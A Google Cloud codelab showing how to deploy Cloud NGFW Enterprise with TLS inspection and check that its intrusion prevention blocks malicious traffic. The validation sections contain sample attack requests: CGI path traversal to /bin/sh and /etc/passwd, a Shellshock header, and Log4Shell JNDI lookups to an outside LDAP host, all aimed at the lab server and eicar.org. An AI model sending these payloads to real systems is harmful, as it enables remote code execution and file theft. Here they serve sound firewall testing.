Cloud NGFW Enterprise Codelab [w/ TLS Inspection]

1. Introduction

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall is a fully distributed firewall service with advanced protection capabilities, micro-segmentation, and pervasive coverage to protect your Google Cloud workloads from internal and external attacks.

Cloud NGFW has the following benefits:

• Distributed firewall service: Cloud NGFW provides a stateful, fully distributed host-based enforcement on each workload to enable zero-trust security architecture.
• Simplified configuration and deployment: Cloud NGFW implements network and hierarchical firewall policies that can be attached to a resource hierarchy node. These policies provide a consistent firewall experience across the Google Cloud resource hierarchy.
• Granular control and micro-segmentation: The combination of firewall policies and Identity and Access Management (IAM)-governed Tags provides fine control for both north-south and east-west traffic, down to a single VM, across Virtual Private Cloud (VPC) networks and organizations.

Cloud NGFW is available in the following tiers:

• Cloud Next Generation Firewall Essentials
• Cloud Next Generation Firewall Standard
• Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise adds Intrusion Prevention Service (IPS), a Layer 7 capability, to the distributed Google Cloud Firewall fabric. TLS inspection is supported to allow inspection for TLS encrypted traffic.

You can now deploy reliable Layer 7 Next Generation Firewall (NGFW) inspections with granular controls, without making any changes to your network architecture or routing configurations.

To activate and deploy Layer 7 firewall control with IPS, you need to perform the following tasks:

• Create a set of Google Cloud managed zonal firewall endpoints.
• Optionally create a TLS Inspection Policy.
• Optionally create a Trust Config.
• Associate these endpoints with the Virtual Private Cloud (VPC) networks where you need the Cloud NGFW Enterprise service.
• Make simple changes to your existing firewall policies and firewall rules to specify the threat prevention profiles for the various traffic paths.

Network firewall policies

Network firewall policy acts as a container for firewall rules. Rules defined in a network firewall policy are not enforced anywhere until the policy is associated with a VPC network. Each VPC network can have one network firewall policy associated with it. Network firewall policies support IAM-governed Tags (or just Tags) in firewall rules, which replace current network tags and can be used to provide identity to workload.

Sharing a network firewall policy across networks and the integration with IAM-governed Tags greatly simplifies the configuration and management of firewalls.

With the introduction of network firewall policy, Google Cloud's firewall policies now consists of the following components:

1. Hierarchical Firewall Policy
2. VPC Firewall Rules
3. Network Firewall Policy ( Global and Regional)

Hierarchical firewall policies are supported at the organization and folder nodes within the resource hierarchy, whereas VPC firewall rules and network firewall policies get applied at the VPC level. A big difference between VPC firewall rules and network firewall policies is that VPC firewall rules can be applied only to a single VPC network, whereas network firewall policies can get attached to a single VPC or group of VPCs, amongst other benefits like batch updates.

Finally, we also have the implied firewall rules that come with every VPC network:

• An egress rule whose action is allow, destination is 0.0.0.0/0
• An ingress rule whose action is deny, source is 0.0.0.0/0

By default, the enforcement sequence is shown in the following diagram:

Please note that the enforcement order between the VPC firewall rules and the global network firewall policy can be swapped. Customers can specify the enforcement order at any time with a gcloud command.

Tags

The new Tags integrated in network firewall policy rules are key-value pair resources defined at the organization or project-level of the Google Cloud resource hierarchy. Such a Tag contains IAM access controls that specifies who can do what on the tag. Idenity and Access Management (IAM) permissions, for instance, allow one to specify which principals can assign values to tags and which principals can attach tags to resources. If a network firewall rule references a Tag, it must be applied to a resource, for enforcement.

Tags adhere to Google Cloud's inheritance resource model, meaning tags and their values are passed down across the hierarchy from their parents. As a result, tags may be created in one place and then used by other folders and projects throughout the resource hierarchy. Visit this page for details on tags and access restriction.

Tags should not be confused with network tags. The latter are strings that can be added to Compute Engine instances; they are associated with the instance and vanish when the instance is decommissioned. VPC firewall rules may include network tags, but since they are not regarded as cloud resources, they are not subject to IAM access control.

Note that Tags and IAM-governed Tags are being used interchangeably in this document.

What you'll build

This codelab requires a single project and ability to create a VPC network as well as manage a number of network and security resources. It will demonstrate how Cloud NGFW Enterprise can provide IPS functionality by:

• Inspecting northbound internet flows with TLS inspection
• Inspecting intra-vpc flows [East-West] with TLS inspection

The flows to be inspected will be selected using Cloud Firewall matching parameters including 5-tuple (source IP, destination IP, protocol, source port, destination port) and Tags.

The end state of the network firewall policy rulebase will be similar to the table below:

Priority	Direction	Target	Source	Destination	Action	Type
100	Ingress	Server_Tag	Health-Checks	Any	Allow	Essentials
200	Ingress	Client_Tag, Server_Tag	IAP	Any	Allow	Essentials
800	Ingress	Server_Tag	10.0.0.0/24	10.0.0.0/24	L7 Inspection	Enterprise
850	Egress	Client_Tag	Any	10.0.0.0/24	Allow	Essentials
900	Egress	Client_Tag	Any	Any	L7 Inspection	Enterprise

What you'll learn

• How to create a network firewall policy.
• How to create and use Tags with network firewall policy.
• How to configure and use Cloud NGFW Enterprise w/ TLS inspection.

What you'll need

• Google Cloud project.
• Knowledge of deploying instances and configuring networking components.
• VPC firewall configuration knowledge.

2. Before you begin

Create/update variables

This codelab makes use of $variables to aid gcloud configuration implementation in Cloud Shell.

In Cloud Shell, run the commands below replacing the information within brackets as required:

Note: You can also get the organization id by using the Cloud Console or gcloud projects get-ancestors [project-id].

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

Note: If you have worked with Google Cloud before and have gcloud installed, up-to-date, and authenticated to your project already, feel free to use your local computer instead of Cloud Shell for this lab. Unless specifically noted, all gcloud commands should be run from a computer that already has ***gcloud*** ***installed or Cloud Shell.***

3. Enable APIs

Enable the APIs if you have not done so:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise Endpoint Creation

Note: Note that necessary IAM roles are required to create security profiles and firewall endpoints on your organization (not within scope of this codelab).

Since the Cloud NGFW Enterprise Endpoint creation takes about 20 minutes, it will be created first and the base setup can be done in parallel while the endpoint is being created.

Create the Security Profile and Security Profile Group:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Expected output:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Confirm that the resources were successfully created:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Expected output (note that the output format may vary according to the client being used:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Create the Cloud NGFW Enterprise endpoint:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Run the command below to confirm that the endpoint is being created (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Expected output (note that the output format may vary according to the client being used):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Optionally, run the command below to get more details:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Expected output:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

The creation process takes about 20 minutes. Proceed to the Base Setup section to create the required resources in parallel.

5. Base Setup

VPC network and subnet

VPC Network and subnet

Create the VPC network and subnet:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Create the Cloud Router and Cloud NAT gateway:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instances

Note: For security reasons, this codelab assumes that Identity-Aware Proxy for TCP Forwarding is enabled to allow SSH access without assigning public IP addresses to the instances. Please configure it before proceeding.

Create the client and web-server instances:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Project-level Tags

Note: This codelab assumes that the user has the required permissions to manage and use Tags (or assign the role to the user if needed).

Assign the tagAdmin permission to the user if needed:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Create the project-level Tag key and values:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Bind the tags to the instances:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Global network firewall policy

Create a global network firewall policy:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Create the required Cloud Firewall Essential rules to allow traffic from health-check and identity-aware proxy ranges:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Create the required Cloud Firewall rules to allow ingress east-west / intra-subnet traffic from the specific ranges (these rules will be updated to enable Cloud NGFW Enterprise w/ TLS inspection):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associate the cloud firewall policy to the VPC network:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Firewall Endpoint Association

Note: Note that org-level permissions are required (not within scope of this codelab).

Define the environment variables in case you have not done it yet and/or preferred the script approach.

Confirm that the Cloud Firewall Endpoint creation was successfully completed. Only proceed once the state is shown as ACTIVE (during the creation the expected state is CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Expected output (note that the output format may vary according to the client being used):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Optionally, run the command below to get more details:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Expected output:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Note: Make sure that the Cloud Firewall endpoint state is ACTIVE before proceeding.

Associate the Cloud Firewall endpoint to the VPC network:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

The association process takes about 10 minutes. Only proceed to TLS section once the state is shown as ACTIVE (during the creation the expected state is CREATING):

gcloud network-security firewall-endpoint-associations list

Expected output when complete:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Optionally, run the command below to get more details:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Expected output:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

Note: Make sure that the Cloud Firewall association state is ACTIVE before proceeding.

7. Configure TLS Resources

Create a CA pool. This resource will be used to house the Root CA certificate we generate for NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Create the Root CA. This is the CA certificate that will be used for signing additional certificates for requests through NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

If you are prompted with the message below, answer y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Create a service account. This service account will be used for requesting certificates for NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Set IAM permissions for the service account:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$[e-mail] --role=roles/privateca.certificateRequester

Create the TLS Policy YAML file. This file will contain information about the specific resources:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Import the TLS inspection Policy:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Update the endpoint association to enable TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Get the CA certificate and add it to the client's CA store:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transfer the CA certificate to the client:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH to the VM, move the CA cert to /usr/local/share/ca-certificates and update the CA store:

Note: For security reasons, this codelab assumes that Identity-Aware Proxy for TCP Forwarding is enabled, in order to allow SSH access without assigning public IP addresses to the instances. Please configure it before proceeding. Note that the traffic from the IAP range [35.235.240.0/20] was allowed when creating the global network firewall policy.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Exit back to cloudshell.

Server Certificate Signing process:

On cloudshell, install the Pyca cryptography library using the pip command:

pip install --user "cryptography>=2.2.0"

To allow Google Cloud SDK to use the Pyca cryptography library, you must enable site packages.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Create the Server Certificate:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

This will generate a cert.pem and key.pem file in cloudshell. Next, transfer the cert and key to the server.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

SSH into the server to update certificate details for Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Move certificate and key into specific folder:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Update ssl config to use signed certificate:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Restart Apache:

sudo systemctl restart apache2

Verify Apache status:

sudo systemctl status apache2

It should be active (running).

Exit the VM and continue on cloudshell.

8. Validate Northbound and E/W Connectivity

Run the commands below in Cloud Shell and note the target IPs to be used:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Open a new tab and initiate an SSH connection to the client VM through IAP (you will need to define the variables in the new tab):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Run the commands below and note the target IPs to be used. Create the variables replacing the values within brackets with the noted IPs from the previous step and make sure they are reachable:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Curl the Private IP and make sure it is reachable:

curl https://$target_privateip --max-time 2

Expected results for the curl request:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Send sample attacks to the IP. The web server should respond to all requests, confirming that there is no L7 inspection/prevention in place:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Sample Expected results (private IP):

400
404
400
200
200

Similarly, send requests to an internet destination:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Sample expected results (internet destination):

400
404
400
403
403

Exit the VM terminal and return to cloud shell.

9. Create and Update Firewall Rules for TLS Inspection

Previously, we configured a firewall rule to allow ingress traffic to our server from the internal subnet. We will now update the existing ingress rules and set the action to apply_security_profile_group. This will enable E/W L7 inspection with TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Create a new rule to inspect northbound L7 inspection with TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Create a new rule to allow EGRESS for E/W to prevent double inspection.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

Note: Double inspection is when both the Source resource and the Destination resource are inspecting the same flows.

From the Client VM, rule 900 intercepts the flow when EGRESS occurs on TCP:443.

From the Server VM, rule 800 intercepts the flow when INGRESS occurs on TCP:443

To prevent double inspection, we are creating rule 850 which will allow EGRESS on TCP:443 to the internal subnet.

This will ensure the following actions are taken:

E/W traffic is inspected by the INGRESS rule

Northbound traffic is inspected by the EGRESS rule

Southbound traffic is inspected by the INGRESS rule

10. Validating Northbound TLS Inspection

Switch back to the client VM tab or connect again:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Send the sample attacks to an internet destination:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

No responses are received as per the expected output below, confirming that the sample attacks are now being blocked:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Set the variable to the server IP from before:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Send sample TLS requests to the server:

curl https://$target_privateip --max-time 2

Expected output:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Why did this request fail? This is because the Firewall is receiving a certificate from the server which there is no trust. If this occurs, it will pass a self-signed certificate back to the client. We need to add the CA certificate as part of a trust config to enable trust.

Return back to cloud shell.

11. Configure Trust Config

Get the Root CA certificate and set it as a variable with proper formatting.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configure the Trust Config YAML file. This file contains trust details such as CA certificates:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

The above commands included your Root CA certificate as part of the trust store since your server certificate was signed using the Root CA. This means the firewall will trust any certificates it receives that have been signed by your Root CA - in addition to the Public CAs if your TLS policy has excludePublicCaSet to false.

Check the contents of the trust config.

cat trust_config.yaml 

Sample Output:

Pay close attention to the indentation alignment of the certificate. It must follow this format exactly.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Import the trust config:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Update the TLS Policy YAML file to include the trust config:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Import the updated TLS Policy:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Note: This may take up to 15 minutes to propagate the certificates configuration changes.

12. Validating E/W TLS Inspection

SSH back to the client to test E/W traffic with the updated trust configuration:

Note: Make sure that the environment variables are still set, which can be verified by running the commands below:

printenv target_privateip

If the variables are no longer set, run the following command to set them:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Run the sample TLS request to the server:

curl https://$target_privateip --max-time 2

Note: It may take up to 15 minutes to update the certificates.

If you still get the below output, please wait for the updates to propagate.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Expected output:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Send malicious test traffic to the server:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Expected output:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

No responses are received as per the expected output below, confirming that the sample attacks are now being blocked for E/W.

13. Logging

Navigate to Logging > Logs Explorer through the Cloud Console, enter the filter below and query the logs. Replace [PROJECT_ID] with your project_id:

